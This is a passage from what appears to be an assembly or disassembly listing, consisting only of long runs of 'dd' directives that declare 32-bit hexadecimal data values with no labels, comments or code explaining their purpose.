		dd 4D898177h, 0BB408BE8h, 51F41ED0h, 61FC2D2h, 2C491224h
		dd 93A09056h, 268B91D2h, 8244ED39h, 0C1C93344h,	428A0806h
		dd 1B463AABh, 1A1C744Ch, 2006D0BEh, 20588D0Ch, 74D3143Bh
		dd 0E03B8407h, 4175D08Ah, 293E1AB2h, 5FEC8506h,	0C701C381h
		dd 0FAE41420h, 8410068Ah, 123574D2h, 3A81E7F9h,	0B714E5D0h
		dd 0D235BE74h, 1431393Dh, 0EC063AB0h, 6D9AD2EBh, 852B410Ch
		dd 3E3B8B39h, 0EB9976C8h, 0E4039109h, 753EC985h, 7CCB5319h
		dd 3B0AE8ECh, 0D8080754h, 1787489h, 0FF1FE97Bh,	295C03A6h
		dd 683D41BAh, 2E725E8h,	8A20A4C3h, 7380D55Dh, 3442E165h
		dd 51C443C7h, 0D75D4ECCh, 861CCF5Ch, 0C82E721h,	0EB5A8814h
		dd 486A1938h, 1EA8C900h, 6E83281h, 96C5965h, 580301B2h
		dd 0EB237504h, 28124402h, 5D688AACh, 1448C781h,	3B129894h
		dd 8C0F1A06h, 0B408B517h, 2504E91Fh, 63235210h,	0A611847Eh
		dd 5F2259CEh, 0A99E4474h, 5CF864A1h, 1657759Ah,	30F8109Ch
		dd 0C614B88h, 9D6517EBh, 86CC190Ch, 103F3243h, 3F97B5A9h
		dd 1C59C81Bh, 0C0335E98h, 0C235EA98h, 9081E404h, 4061247Ch
		dd 0CB77A243h, 326269E8h, 6C69352Fh, 0F5FBF89Bh, 48B01F48h
		dd 74F60047h, 5C8A535Bh, 57180124h, 0E8045E88h,	892B83DAh
		dd 0D3C70546h, 92C98424h, 0CD5709E8h, 8F29DEBEh, 0CF1C2482h
		dd 7B29DB86h, 24304820h, 909CB8C4h, 5BDB8432h, 3605753Dh
		dd 32521594h, 6A0F7468h, 11C4EFC8h, 2ABE4062h, 18268558h
		dd 0A1C37281h, 0FB5191D9h, 222358Bh, 94F88319h,	0D6583003h
		dd 91B8A114h, 34BCB20Dh, 5ECBC043h, 5685AD33h, 806620B0h
		dd 82AB89BEh, 12099687h, 74048D42h, 99326A3Eh, 741A0C35h
		dd 3CE81215h, 52B0CAEh,	623D8BCCh, 1B7327F4h, 0E8D42CB0h
		dd 8C1B2152h, 117225FAh, 50FE8C2h, 0A30C4D8Bh, 18A1400h
		dd 74740A3Ch, 380D741Bh, 185C6817h, 28FE10DCh, 0CB24EF51h
		dd 13C57743h, 0A4681221h, 0CF3D2933h, 27BA44C1h, 0D802E913h
		dd 0F8580AFh, 245DDC5Eh, 1756074Ah, 3A70104h, 4C88EE8Dh
		dd 0E884FBE0h, 0FD98FE8Fh, 0B023F181h, 11916578h, 33A5212Dh
		dd 88824DF6h, 0BF8DC50h, 39B5056h, 0D3EC66BFh, 745943B8h
		dd 9513CA80h, 8D016A80h, 1B5BE045h, 29783D8Bh, 0F0185063h
		dd 0C1E2AC7h, 717D7CBh,	35E85DBCh, 0D7368275h, 85E12D86h
		dd 332457D0h, 0C5F409F8h, 2CCA1722h, 6A88F87Ch,	0C4566A03h
		dd 28324D6Bh, 150D9826h, 226AA680h, 104001A4h, 0E87EC3CCh
		dd 1920FDF3h, 5F882544h, 1DE59C26h, 0D8AA929Ah,	3C0C961h
		dd 0CD0C7AF0h, 0FC55C806h, 0CFDB887Dh, 0A3AA7208h, 0C961ADF9h
		dd 0BF94D068h, 0B419A250h, 4366A101h, 0C423B89Bh, 65429184h
		dd 8B08F4ECh, 96F8B5ACh, 0D0261C13h, 164C28A3h,	0A9B8F0F8h
		dd 0BCE1CC08h, 3E1DAAE2h, 0FFC7E6Ch, 0F047039h,	0BF75088Ch
		dd 0BB0CA091h, 92571503h, 12F9415Bh, 64294B9Ah,	0FEFC6F59h
		dd 1D9216D4h, 53351492h, 7388EE64h, 390D84A5h, 8D2AC892h
		dd 0E4B98E94h, 8C32BC41h, 6C097418h, 93C42839h,	0A6A4BC4h
		dd 58EB57D8h, 6360485Fh, 0BC801076h, 20530551h,	40325F21h
		dd 8772C63Bh, 7C5A7DF9h, 39F2CF51h, 3352F6DCh, 7D8E1884h
		dd 74149043h, 0ED81752h, 0E888FDE4h, 590DCE23h,	0DA90DD35h
		dd 0D0308485h, 402CEBBBh, 293BB194h, 680925A4h,	0F96B98C8h
		dd 1133CAFCh, 31A86413h, 6F327E40h, 35A26977h, 0FBE0F682h
		dd 2555D222h, 49F78A5Fh, 6A512686h, 9A4C0B45h, 798DA559h
		dd 4F99B04Dh, 356C2251h, 152AF546h, 0F74B9670h,	46082D1Ah
		dd 9C57B8B4h, 385607D2h, 56101998h, 0A901D74h, 8F920C50h
		dd 536D0A92h, 68F06C02h, 5E326C2Ch, 0E4241512h,	7B931421h
		dd 0B5E8D830h, 8340B9FBh, 6A74F33Bh, 0DF0C7DB9h, 0D87C84F5h
		dd 45D4638h, 40961234h,	0B0E31336h, 2042136h, 0B32C3E0Ah
		dd 48186843h, 7B48C693h, 44162117h, 23540624h, 27790D10h
		dd 60331468h, 0ABD98AA4h, 0D7543D0Ch, 7505C9E2h, 13F4680Fh
		dd 4D3531F1h, 0B040447Dh, 208C5DC1h, 8ECB05E8h,	216214D6h
		dd 2D08FC18h, 881FC7FBh, 843D2E6Ch, 0D68879Ch, 0D1FC0D4Bh
		dd 4C3A5291h, 0C6BD4076h, 0F0121E92h, 45040D75h, 8D4AFC18h
		dd 37EB8190h, 62271068h, 914122FFh, 0AF483C4Bh,	632207C5h
		dd 600CC6ABh, 0C81C75F4h, 0F1E82EF0h, 9138A144h, 439C4155h
		dd 0A5ADE97Ch, 1C668910h, 899DE6FCh, 9C4D8B7Eh,	4B213739h
		dd 0C4808014h, 44A27C7Fh, 8B8E6078h, 22581D8Bh,	0E14C28D2h
		dd 5D08B856h, 18857CBEh, 5D7D13FAh, 8BD3C423h, 0BFA1F8h
		dd 5577FEAAh, 4A75014Ch, 895C4B22h, 0A228892Fh,	81046ADBh
		dd 2303E824h, 0A4F0F748h, 5F574837h, 984EC067h,	2B6C1C46h
		dd 3E801F72h, 241678A6h, 909710DCh, 9FEBE15Fh, 8A1ACB48h
		dd 10708B43h, 84413989h, 0F6E90975h, 482A153Ch,	0C68B1C8Fh
		dd 17237B9h, 90F9F799h,	0D903DBE3h, 0DAE8FC5Dh,	362B3933h
		dd 13208D51h, 0AB800DD8h, 9C00B590h, 0E8241CDDh, 3A1CA5BEh
		dd 449B08C9h, 0A53F66F4h, 900B2B13h, 7B74C434h,	88902022h
		dd 17B9F99Eh, 221218A4h, 4CFA5B2Ch, 5CD44952h, 5E5B5F09h
		dd 1050DABAh, 60310A4Ah, 0CD1D02CCh, 462F08FDh,	112136F9h
		dd 222D4328h, 0AAE9A209h, 740BBA6Bh, 16C6280Dh,	0B825C1Eh
		dd 90F37548h, 0B607EB22h, 0CC2E134Dh, 44990408h, 12F8D188h
		dd 195C5D59h, 281008C7h, 2CD4CC5Ch, 15756AAAh, 6AC43E7Bh
		dd 9CE2025Ch, 114F611h
		dd 75141604h, 3A6223F8h, 0EAC69228h, 8224E92h, 523F22FDh
		dd 0EC365F65h, 68504EC0h, 1A136E88h, 0E84B20B2h, 0C1DC9812h
		dd 0CADBA472h, 0AE1D0A9Ch, 2819EA88h, 5CA584E7h, 0E40A59FEh
		dd 0C19BBF74h, 22337868h, 908F2A20h, 1D88B26h, 75CBDE1Ch
		dd 0A51B0318h, 601C431Ch, 4951DF14h, 504BE93Eh,	530D9318h
		dd 915376E8h, 855C4E0Ch, 7B7BF54Dh, 0A3059965h,	4CE021ACh
		dd 5CA10C0Eh, 59140C64h, 4F972879h, 29F4FC80h, 542AC9D0h
		dd 6836FDE6h, 48C83746h, 0CB5E4F64h, 0AB10EA60h, 0BE911A52h
		dd 36B18A6h, 19016232h,	12FFF81Dh, 0A7671659h, 978B9F58h
		dd 313E9808h, 49205484h, 0F4618A78h, 0F78D04F7h, 0D6463425h
		dd 48FA415Fh, 0F750A016h, 0B1245Bh, 64296891h, 3157131Bh
		dd 7D2010F3h, 0A529C9ECh, 5E2449E5h, 8AB7E598h,	5843481Ch
		dd 0B6EB100Ah, 8938F291h, 298432F4h, 1E2478EFh,	0F6FC8B7Eh
		dd 0F27A0414h, 674BA28Eh, 0FAC13D05h, 0D512E807h, 138216F6h
		dd 0E8100565h, 68F6B984h, 0B4FD420Ch, 86B08068h, 20296F43h
		dd 1F0909DAh, 0B393C711h, 0F1E41C89h, 0F0221AB5h, 634FEFC5h
		dd 3C221AA4h, 997CA175h, 0D3211C4Ah, 1CF0C92h, 5DA2914Ah
		dd 4226610Ch, 0BAF1E58Dh, 0DC2A1010h, 0D3144009h, 0CA184086h
		dd 12CE798Bh, 99F640E8h, 0B72691CDh, 0DF9A812Ah, 0AB870A0Ch
		dd 101C961Fh, 0F8201F52h, 8698FB40h, 3E400BCCh,	83E48A8Ch
		dd 0F5A8E812h, 257B0DDCh, 38D216Ah, 342D6C6Ah, 0CCE22BA5h
		dd 8252264h, 9C941010h,	29860921h, 146402E4h, 6A468028h
		dd 2422306h, 6F441820h,	25A35468h, 4E0B333h, 0B22FBE89h
		dd 354F3443h, 0B93CE50Dh, 7C689D89h, 3BE742AAh,	0C1198592h
		dd 6D4DBD49h, 1E8D926Dh, 0B00C7DECh, 0D3349004h, 97C01D0Eh
		dd 0E8263062h, 0EEB6F507h, 0A13951E5h, 0F30A15DAh, 0A1E87CF4h
		dd 0D90408C4h, 0C87CDF4h, 0D28AA076h, 1B8122E4h, 25774652h
		dd 893B05Eh, 92F7B404h,	573FD3BBh, 143EF4C5h, 0CDE865C2h
		dd 527A891Bh, 89F635C6h, 0DF410A24h, 0BF2EBF59h, 402493Ch
		dd 0F708FBF8h, 0B13487A4h, 0F1CA38B0h, 18911559h, 0DA6764Eh
		dd 1F34567Eh, 0E23BB1Dh, 691F2257h, 8434A8C9h, 0D9F51862h
		dd 1078C5C6h, 1625D07Bh, 6231EC68h, 0F85DF473h,	0A92D1D2Ah
		dd 20D8441Dh, 3404C683h, 0A94053E8h, 0A63B884Bh, 50D528C7h
		dd 67654C33h, 414D54FCh, 52C06851h, 3462845h, 1C40C65h
		dd 0DEE25E85h, 0C90C366Fh, 848A0964h, 140E2464h, 0F502F9C7h
		dd 6654E482h, 4D3E810Ch, 0E1EF4A5Ah, 64204511h,	8926029Eh
		dd 7E424108h, 327CF9F0h, 6429D534h, 0B4168084h,	469F9EF3h
		dd 12FC3510h, 31F63324h, 1C0BE886h, 0C68B0C27h,	5051BBE9h
		dd 2B1886C7h, 0F8A040B9h, 36708AFBh, 6377E832h,	322E422Bh
		dd 8553AFC5h, 0B8C601F0h, 0D328654Ch, 0F5FD8906h, 0D023224Bh
		dd 0AE44224Dh, 42743B7Bh, 2575D4CCh, 0E0EB3B3Dh, 561977F8h
		dd 1FB127A4h, 66F32308h, 740F3429h, 0EAB3EB0Dh,	0E942941Ah
		dd 0AA49566Fh, 0E0C51BDh, 0E95E4C85h, 0FB113160h, 78B833F2h
		dd 331B6337h, 18A7C51Ah, 0DD0CEB5Dh, 51A26A2Bh,	8531184Bh
		dd 0E69262Eh, 0D4171893h, 85AF0FD8h, 42FC3408h,	7231F280h
		dd 382811B2h, 2C2814ECh, 4D441BF8h, 52155E8Ah, 8E5F5840h
		dd 3552BD8Dh, 881F06ADh, 64113495h, 43B40E59h, 9366ABF3h
		dd 3C2866AAh, 0B5563E59h, 3C826210h, 0FA8809FDh, 448BC54Ah
		dd 8645C76Ch, 49DD828h,	80A408ABh, 0CC218440h, 73F80835h
		dd 7D076A0Ah, 0A2C46842h, 0E6F64A13h, 147C9E8Ah, 0A4934D5Ah
		dd 47B43F1Fh, 48E36865h, 38D207Fh, 0A46C1CC8h, 75943A13h
		dd 6C902819h, 8C68C4D8h, 0F3E993CFh, 0D139DF50h, 445CC819h
		dd 0EF303437h, 9EF16BE8h, 409B4A79h, 35BC8072h,	0E83A15A1h
		dd 0EB3D4E03h, 0B59C3EEEh, 7A0F1B39h, 8A27E25Fh, 8D0CA284h
		dd 3C20A08Ch, 0E815742Fh, 437C3C30h, 3F7F3900h,	0F73D4488h
		dd 1F28A74h, 0C33A4704h, 0B3E0E775h, 205C6C88h,	0E4AFFAAh
		dd 2620E8CCh, 123CFE03h, 8658663Dh, 0F4227184h,	80FA1F0h
		dd 0FA96E209h, 4B725443h, 755361F5h, 75097C36h,	68A31062h
		dd 0BE1AA250h, 64ED54F0h, 8A4993Fh, 0E8DA94Bh, 3417BCE9h
		dd 485022C7h, 532C841Bh, 0C8449085h, 683EE46Eh,	0EFBE8959h
		dd 0E622416Ah, 22505643h, 0E83602B9h, 43283340h, 337D7DB4h
		dd 0EB8A73B9h, 3059BD4Fh, 0F447930Ch, 0D1F39E50h, 2CC8716Dh
		dd 97EFFD62h, 0EFA3B8C1h, 15910310h, 924AD988h,	40726FC4h
		dd 286E191Ah, 9C548808h, 1652E819h, 0C33B1CC8h,	0FDE5BFD3h
		dd 2C880660h, 23784018h, 949231AAh, 93623E34h, 150DF338h
		dd 7D221734h, 5A398EA9h, 0C85F2289h, 68C21456h,	0BBB29924h
		dd 5951A214h, 0B340481Ah, 2144C4F8h, 1464602h, 0FA30217Dh
		dd 3B422111h, 151E8814h, 0C15F921h, 28AF4C53h, 7D27082Eh
		dd 0DC786308h, 753BFFECh, 4BB5FF14h, 383E344Ch,	950FC88Eh
		dd 491AE2D2h, 0D54FD0BEh, 47454634h, 8DBA42CAh,	0A6993F19h
		dd 95F09424h, 0EF4B02A3h, 0C2C3E33Eh, 1F377503h, 0A4A6E842h
		dd 39371C3Dh, 0CC5A9142h, 74DA72C0h, 92ECB807h,	0FEB331Fh
		dd 0E0D3CA18h, 98C1154Bh, 0C00591D0h, 0E8C1F445h, 0EC5E0A64h
		dd 0DF1D7DFCh, 1FD9936Dh, 0EE18891Ah, 12AFA1EAh, 0E4A4D253h
		dd 38796C93h, 8E4C69Eh,	67B62D53h, 42983F31h, 0C96FC716h
		dd 0C9C88553h, 0A3750F74h, 0DA7201D8h, 8911E6F1h, 0CDC94868h
		dd 5C940F20h, 0A8A44253h, 3391F540h, 28400C76h,	628DE840h
		dd 39EB9C2Bh, 70453FE5h, 0ED14C722h, 402DB2C1h,	86C88B28h
		dd 1024433Dh, 0D7C4CF37h, 0EB86D146h, 142A5C27h, 43179187h
		dd 0D3B02227h, 7F23CF6Bh, 2B79FEE5h, 9D840F07h,	0A072020Dh
		dd 0ECDEE809h, 2AC831CCh, 86A8E88h, 61897A4Eh, 6BBE6AD0h
		dd 1813E80Fh, 7C648022h, 2184E105h, 88362068h, 0EC43D911h
		dd 756B464Eh, 0CE942F06h, 5957530Bh, 0BC5E9DD2h, 84351FCFh
		dd 0BD318AE8h, 88613A9h, 6689F88Dh, 766317Ah, 900C8627h
		dd 841D25D6h, 50212052h, 0FC276833h, 30629835h,	44E48822h
		dd 2DFDBC86h, 822F726Dh, 48DC68E4h, 5582E8DDh, 9881AE49h
		dd 3D39FF33h, 0C321A5D8h, 0B808BD51h, 160CBCEBh, 0C00C25B8h
		dd 376FBF7Fh, 3B0A802Ch, 0A3677C8h, 0F9812D74h,	19809EE1h
		dd 0A805101Eh, 10C8C137h, 4F75831Dh, 4B1DB8BFh,	9CD448EBh
		dd 84FC7A07h, 423A7E84h, 48333260h, 2B72238Dh, 64931022h
		dd 72947976h, 0BF1310FDh, 0C3B4442h, 51F24A1h, 83141491h
		dd 0BA18A57Ah, 5741308h, 365AFCEEh, 5523D88h, 0B0FF5157h
		dd 0D94DB5C0h, 0C40652B8h, 9C0CB419h, 21A04386h, 0C8AC90A8h
		dd 16B16FA4h, 0EF15438Dh, 89934B3Bh, 0FAA3754Ch, 0CAFBA88Eh
		dd 141B916Ch, 433BFB48h, 7464FB02h, 17A8B26h, 38DD0154h
		dd 750FE5A4h, 0C5768B11h, 6D0786FFh, 0C489C883h, 5833A08Eh
		dd 0CDF65BEBh, 64326B11h, 439C3657h, 3657220Eh,	0B14987F6h
		dd 7760E19Fh, 0D03C6807h, 6177E1F3h, 0D1E80F28h, 8872356Dh
		dd 2420643Dh, 97286447h, 38B8993h, 0FB3AFD58h, 473BF974h
		dd 0DAC3BB04h, 1022E0Bh, 273FBE94h, 261206C2h, 9D1E0868h
		dd 8141814h, 0A73CBE13h, 2244D960h, 25EA7082h, 0AF1201B3h
		dd 30C39D56h, 0F1EADAE8h, 58CC458Bh, 6DE8B812h,	928DEA4Fh
		dd 586C5BE5h, 5E3F3348h
		dd 0BC1826C2h, 0CDB86645h, 7C0A0225h, 7B32BC1Ch, 0CFA6592Fh
		dd 664CB348h, 857B7E89h, 4A7BC748h, 44894354h, 349EB81h
		dd 89266302h, 0F08D546h, 0F7069F0Ch, 4D8D821Ah,	20B187C3h
		dd 5E087053h, 0A61C106Ch, 0C1EC6265h, 0BFD2E9E6h, 0CC61461h
		dd 11ED3089h, 0AED90978h, 51B9154Ch, 1974F800h,	330C408Bh
		dd 280794D6h, 6C21839h,	2820F647h, 0EF98359h, 0B80A751Fh
		dd 0E95C2AECh, 8DE9E060h, 28C17F34h, 6DBB04E6h,	3A6C998Eh
		dd 4CC18554h, 64F6464Dh, 31E25810h, 0D8535619h,	0DB231492h
		dd 861922D8h, 0B7F0D88Ah, 0AD8D789h, 0B2E9A411h, 787602DAh
		dd 8D079454h, 686B0870h, 0FB04743Bh, 0CFCDAEC2h, 8E4DCC58h
		dd 85F8057Eh, 80789C9h,	41E4FCF7h, 6512A76h, 0E0F6190Eh
		dd 51EDF855h, 435904EDh, 4EB918F9h, 8414BE08h, 510C528Bh
		dd 0B9D80983h, 0E0DE9A14h, 0E891272h, 0E3E8DC55h, 0DB508C53h
		dd 9303743Fh, 6302E47Eh, 403B30C6h, 928E72A4h, 0FCCEC716h
		dd 0E246AB89h, 0E610C225h, 4242190h, 4A486A6h, 0A05750Dh
		dd 8B0B1640h, 0F7200B5Dh, 90AFE0C3h, 26BE0A62h,	0F0E9F048h
		dd 9AA63E1h, 843E8366h,	17CC0A03h, 27DD6DE9h, 9AE84265h
		dd 41BD528h, 15629FCAh,	69664430h, 0B72352C7h, 315EEEE9h
		dd 40B42824h, 3D2986DCh, 0F681982Dh, 547502C3h,	12040A93h
		dd 0FB10106Eh, 34214D49h, 0E8C3F016h, 0E822E736h, 40BDA414h
		dd 0AC0242C4h, 93577877h, 762A6439h, 2FEB6102h,	168B70A4h
		dd 3D300917h, 947FD927h, 0AA0F0BFh, 84B9EB32h, 7F0A2F38h
		dd 0E7D1C268h, 303543B1h, 4B901867h, 4EC44D5Ah,	824FC8B8h
		dd 0FD416628h, 0C8E2702h, 54C0B70Fh, 0C9EC5A13h, 9E129B6Bh
		dd 10C02D67h, 761C2140h, 474DBEECh, 0EDEBA3E5h,	69A42212h
		dd 174BD673h, 119AC8A6h, 57B66CA6h, 57175C95h, 8E1C3256h
		dd 8B534A7Ch, 0BC767027h, 0B71B20A2h, 5C3DCB18h, 681671B2h
		dd 17B2399Ch, 61603516h, 0CF680DB6h, 0D68C2361h, 228E0A3h
		dd 6429533Fh, 4FD8121Fh, 54AC75BBh, 36DE531Bh, 1B084814h
		dd 2143E8A3h, 0EC913C1Bh, 0F0643088h, 0F4192062h, 46861018h
		dd 38FC10F8h, 0E810A39Dh, 0C89210DCh, 370464CCh, 140F0876h
		dd 8238C468h, 0B0EB34B3h, 0A49C62ECh, 0D5370C27h, 100D4884h
		dd 14326CC4h, 8418BA1Bh, 1E746041h, 23A263BFh, 0F97D2443h
		dd 18280D52h, 15A33D83h, 0D2CE687h, 640B5B48h, 0C524281Eh
		dd 1ED54213h, 1C8105C7h, 0C3402A12h, 11171440h,	0D60A2C51h
		dd 0B2D6722h, 0A965E208h, 0E3149E41h, 297D2014h, 0E8421808h
		dd 121C3137h, 478CF45Fh, 0BE12B6B8h, 0E636E813h, 0AD68F042h
		dd 2DCFFB01h, 0B12FD146h, 0A3CF99E5h, 0FDFA13E2h, 0F625E54h
		dd 26C90807h, 0A0DA8D5h, 0B5FF1375h, 26E8042Bh,	8624A83Fh
		dd 528351E9h, 0E1482B56h, 9C478B2Ah, 22EE9E6Fh,	839C021h
		dd 0BE176758h, 1F3A1BE5h, 310757DFh, 0A5F88B1Dh, 11ECE555h
		dd 89957FF7h, 787152F8h, 0D813C883h, 0ED6E92A2h, 10100E87h
		dd 0FBE85705h, 1C1AE70Dh, 0CC25B484h, 26AB5727h, 7AE7C867h
		dd 59100115h, 8295870Fh, 683D802Dh, 5B4244A2h, 0AACE8712h
		dd 0C042320Bh, 0EB9C0329h, 94243E22h, 0B8092DECh, 0D0632AC9h
		dd 2F0D827Ch, 0E49DC524h, 7944C2B6h, 7CBCA6ACh,	8C22A4BFh
		dd 0CAF4568h, 32421421h, 85539E3Eh, 40956288h, 22B4902Bh
		dd 0D40CDE32h, 2C0C560Ch, 0F41607EBh, 5245989h,	88064FE3h
		dd 0A596F7F4h, 8991A31h, 0D3537105h, 0C6CE0D3Dh, 5319A040h
		dd 245C2E8Bh, 185697BCh, 1F04C88h, 0C00F1295h, 6A14BB98h
		dd 61B6EE3Ah, 3AE3F9E8h, 57480E71h, 4612B67Ch, 0E37D8104h
		dd 7C299728h, 0AF9E7E1h, 8F89052Fh, 0ECD23414h,	800D057Bh
		dd 41F88BBFh, 72C0048Dh, 0F4FA504Dh, 5677E1A4h,	822EFD27h
		dd 113C42A2h, 16F3A714h, 0BE563BA1h, 0B2A41C4Ch, 0F32C356Fh
		dd 5BEDBCE0h, 39699E3h,	3E125615h, 0D6E16A0Ch, 2658EC38h
		dd 4E205810h, 8B56E205h, 330CF180h, 0FE8309D2h,	0E8077601h
		dd 0F008B744h, 0E9D157CEh, 380E65B8h, 2E40D703h, 7549204Eh
		dd 51EB5FF4h, 0B8001804h, 3805745Eh, 31FB60Fh, 81CA84D0h
		dd 0FABEDE2h, 0BE10E9C1h, 0E8EEF6FEh, 0F7CB0EDEh, 82D279D0h
		dd 5648530Ch, 0FEBBDF82h, 0EF37BC91h, 75F0189Bh, 0BFA0534Dh
		dd 824E92E8h, 0C991CCD5h, 9BC32459h, 0D31FCD0Bh, 18E87D5Eh
		dd 14507A42h, 36E67EC1h, 0AAA4E781h, 90F738C8h,	345ECA75h
		dd 10E738B0h, 0DFE66C81h, 38AEFE39h, 0D8594244h, 0E0C13167h
		dd 0C7341864h, 6A8B86ECh, 6808BD90h, 10B59CA4h,	5A1BE826h
		dd 0E4F78C82h, 0D08FE64Ch, 6A08C0ECh, 91506804h, 14E8041Ch
		dd 0C92CADE3h, 8C622905h, 8648336Bh, 86E2FB23h,	9E6AE774h
		dd 0EA143C55h, 6AD31716h, 140F1103h, 0A0B78C7Ah, 0C3405ED3h
		dd 244C248Bh, 3C8089AEh, 9742183h, 6DDC2F4h, 1C023A43h
		dd 5AE851C3h, 621A5CE2h, 98903DF2h, 0D7D4EB77h,	37518E2Bh
		dd 0A04A60C5h, 15B4C448h, 38934FCh, 0C903AD1h, 0EB019243h
		dd 0B8685736h, 6AD1320Bh, 192CFB3Eh, 0F442F524h, 1FC60808h
		dd 61209F8h, 65E92B94h,	570FD483h, 0E8F63304h, 0C7E80A66h
		dd 5D4F0B94h, 0F5EB4B78h, 96349982h, 0E81F7520h, 82CBD98Ch
		dd 0D622FA38h, 0F23C0D3Eh, 0CA8F1A8Fh, 0A11C3293h, 1B1C198Ah
		dd 17A2316Ah, 2C2C1861h, 8D8C4AD6h, 12E3A007h, 0B5E4990Ah
		dd 5E25F01Dh, 2CCDB9ACh, 0A52A1D0h, 0BE23541Dh,	0C2FE8694h
		dd 0E0296B1h, 378ABA48h, 10271C1h, 33123A64h, 85055138h
		dd 108A1510h, 0A72A6B2h, 5AC209A4h, 2BEBD007h, 1437E744h
		dd 68737E56h, 0C0796218h, 4D8FE0AAh, 824212DAh,	7D0E3A2h
		dd 3DA5B00Dh, 0D85C32CCh, 991CCAADh, 0CCAD1492h, 2AA70F36h
		dd 42535152h, 0BFF72252h, 0A60B5D09h, 0B78929E1h, 969A760Ch
		dd 4667E02h, 116BD180h,	55894F28h, 7F402EBFh, 410B4081h
		dd 14AEE34h, 84C7747Ch,	0FC43870Ah, 80062DC7h, 8524ACE4h
		dd 2E48607Ch, 0FBA1C5BEh, 59862AFEh, 0CD4F6A02h, 979357Dh
		dd 0F4166B27h, 3748B6E6h, 7FC94085h, 0D5242152h, 0ACDC6BEh
		dd 7ED16093h, 608E93D3h, 0C91BB32Ch, 0D5A18528h, 64794F21h
		dd 30048E0Ah, 0D9560885h, 0BC46158Bh, 52969EC8h, 39E5FD53h
		dd 0B664E919h, 0F214BDFBh, 6107632h, 0E0F1F418h, 7E830675h
		dd 8002042Dh, 0EB1C765Fh, 8827A4CFh, 24E80C8Eh,	8EEFDE88h
		dd 0EB6501B0h, 2C56480Bh, 0B8113293h, 134B4876h, 90045324h
		dd 0E8061008h, 84904D6Eh, 0E1A73ABCh, 0F179FA84h, 36802025h
		dd 1F895053h, 4329FE4h,	28714308h, 25F6A6B1h, 5692C542h
		dd 1E4F802h, 11FE2423h,	2505DC12h, 49335840h, 264A10E0h
		dd 5352D59Ch, 720F8EC1h, 0C22B42A5h, 4CFAFC38h,	0B5038A45h
		dd 806200Ch, 0C25A0459h, 4FB83D8h, 5EA0A867h, 0A05984Ch
		dd 5A751317h, 168819F6h, 2A10251Bh, 0C606F01Ah,	0D9534EC0h
		dd 186A91E5h, 0CB64FC46h, 746C981Ch, 326A0E19h,	7518781Dh
		dd 0E825097Ch, 0EBA4A06Ah, 1B078B10h, 0D4875C89h, 7A3F81B1h
		dd 12C5DC56h, 55B11F12h, 8E2578CDh, 2C32D82Eh, 1F39A7A8h
		dd 0B585E7Bh, 0DD6E166Eh, 2EBDC30h, 5FC7278Bh, 909CA353h
		dd 9D89662Dh, 84BD6146h, 834B808Eh, 860F2881h, 8D139282h
		dd 9ED2741Ch, 0BFA2126h, 0E04DE837h, 6074D990h,	33138B0Fh
		dd 76D203C9h, 5C1FC23Ch
		dd 0E039354Fh, 41440AA0h, 72CA033Bh, 4A26EBF4h,	0DB730E28h
		dd 1A8E8428h, 4508B05h,	0A40A8941h, 43364296h, 0EC720A37h
		dd 250E8EFFh, 704C6CE6h, 0A537CA54h, 90D93C15h,	0E92626B9h
		dd 173E674Ah, 7DC004C7h, 1472063Bh, 2FBE8D81h, 0BE7C904Dh
		dd 78339DDh, 4E8D4B76h,	0B2173628h, 78832AD1h, 8B2A81ACh
		dd 0B6F8319h, 0D3C99B6Eh, 0EF72B155h, 3B8178BDh, 811375C2h
		dd 201522FAh, 89111573h, 28512994h, 39C15C02h, 0C0E89B8h
		dd 33F8E8B9h, 35D9F4D2h, 190CF3F7h, 0BEF0C832h,	0E0F1252Bh
		dd 98535064h, 36FF0A3Dh, 521D269h, 8F45589h, 3B8914A4h
		dd 21E40AC3h, 0EB50FFA4h, 1E39017Ah, 76FC5D89h,	87202F70h
		dd 482BE833h, 54C922DFh, 0F392000h, 9DAE3676h, 1049137Ch
		dd 720FC020h, 9020EBF2h, 124879B2h, 791773C8h, 1E4EFE22h
		dd 5603F048h, 5833881Ah, 0BAA41075h, 9325C347h,	534E6FCEh
		dd 57DBCD31h, 0F08906DDh, 0AF242376h, 9CA3BC83h, 64416926h
		dd 0B6251277h, 0CD8904F5h, 52204306h, 7259D83Bh, 0A648E078h
		dd 0CC819250h, 0C82BDB61h, 249C5BCCh, 44FE8162h, 0F770B2Bh
		dd 2F101068h, 0CE9EDB3Fh, 5E83E368h, 1A6083C3h,	10308984h
		dd 481B2C71h, 0D75A98Ch, 519C337Ch, 30426C03h, 891ACE54h
		dd 0F5878889h, 463F7D40h, 0F1E4246h, 4FB9C295h,	8FC06862h
		dd 2404299Bh, 0B88743ABh, 3B3943DFh, 0D26507Ch,	0A2839240h
		dd 0EBED00A0h, 904E8B2Eh, 0EAE7F9A9h, 3D215649h, 0C969C88Ah
		dd 33F80F5h, 2E1C1CAh, 4C8D5107h, 44471086h, 4BF0C44h
		dd 32DABE1Bh, 5FF841FFh, 0BC92902Dh, 5839C448h,	89EC9CC6h
		dd 0FCE789CDh, 19608597h, 1B565176h, 0CD708D57h, 0FBAC1C67h
		dd 90C319E7h, 133D7F10h, 621A391Eh, 7D04C21Dh, 558B7458h
		dd 0A4D740C9h, 3E70FF1Fh, 2BA8BC89h, 659201FFh,	61E53ADCh
		dd 98203B23h, 0E0B66A72h, 3F9AB78Dh, 2B515387h,	0EBFCA024h
		dd 8993F34h, 97C9C604h,	289B62Ch, 8BA1ECDAh, 10F14855h
		dd 0A87EEFA1h, 735887BAh, 0CAE111Ch, 0BE5C3B76h, 881A55A6h
		dd 0C64ADD11h, 0C4584712h, 95EB723Fh, 805D8624h, 1478D7Dh
		dd 5B2C8A97h, 0EFEB4C31h, 5433424Ch, 586EDCEDh,	0CD40FF04h
		dd 0C10C497Eh, 24A5802Ah, 69C12F89h, 0FC2660Ah,	3ABB5FEDh
		dd 14F30641h, 8E441460h, 814ABFC9h, 8925C9AFh, 7603A5D9h
		dd 0D2E75800h, 4291CDE4h, 790C2ED9h, 9281010h, 17E038CBh
		dd 0FFEEB40h, 8320BE67h, 0FDD101C3h, 6437DDD6h,	0B1585404h
		dd 0E4EB64F5h, 8E0C1287h, 127425AEh, 4AEDC4F3h,	4BB40B57h
		dd 0F813EA95h, 5830D993h, 853D6A8Ah, 6678E5CBh,	8817EC6h
		dd 2B392119h, 333D0130h, 62A29A27h, 1A54E0Eh, 0D2B8AC72h
		dd 58EAB14Ch, 9D92B5ADh, 8FA3B5Eh, 53452374h, 7B56A68Ch
		dd 1AF14899h, 0D4FEF714h, 0F878B04Ah, 2BA82FD2h, 50D2824Bh
